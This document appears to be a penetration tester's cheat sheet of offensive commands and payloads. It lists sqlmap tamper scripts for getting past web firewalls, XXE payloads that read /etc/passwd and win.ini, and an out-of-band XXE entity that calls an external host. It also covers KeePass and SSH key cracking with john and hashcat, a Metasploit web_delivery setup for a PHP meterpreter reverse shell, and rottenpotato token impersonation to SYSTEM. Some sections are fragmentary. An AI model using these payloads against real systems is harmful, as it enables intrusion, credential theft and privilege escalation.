castexyz

SQLMAP Tamper Scripts

credits: https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3

General Tamper testing:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

MSSQL:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

	--------------------------------
	Basic XXE
	--------------------------------
	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
	<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

	--------------------------------
	Basic XEE
	--------------------------------
	<!DOCTYPE data [


	crunch 8 8 -t @@@@1980 -o /root/Desktop/wordlist.txt

	@ will insert lower case characters
	, will insert upper case characters
	% will insert numbers
	^ will insert symbols

	./keepass2john CrackThis.kdb > CrackThis.hash

	The hashcat binary does not expect the name of our KeePass database to be pre-pended to our hash
	so we will have to trim the string with a text editor;

	hashcat --help \| grep -i "KeePass"

	-m 13400 => KeePass Hash Provided
	-a 0 => Dictionary Attack
	-w 1 => Low Latency Desktop Profile

	WEBSHELL TO METERPRETER
	use exploit/multi/script/web_delivery
	msf exploit (web_delivery)>set target 1
	msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
	msf exploit (web_delivery)> set lhost 192.168.0.104
	msf exploit (web_delivery)>set srvport 8081
	msf exploit (web_delivery)>exploit

	SSH TO METERPRETER
	use auxiliary/scanner/ssh/ssh_login_pubkey

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>

	ssh2john priv.key > privjohn
	john privjohn --wordlist='/usr/share/wordlists/rockyou.txt'

	load incognito
	execute -f rottenpotato.exe -Hc
	impersonate_token "NT Authority\\SYSTEM"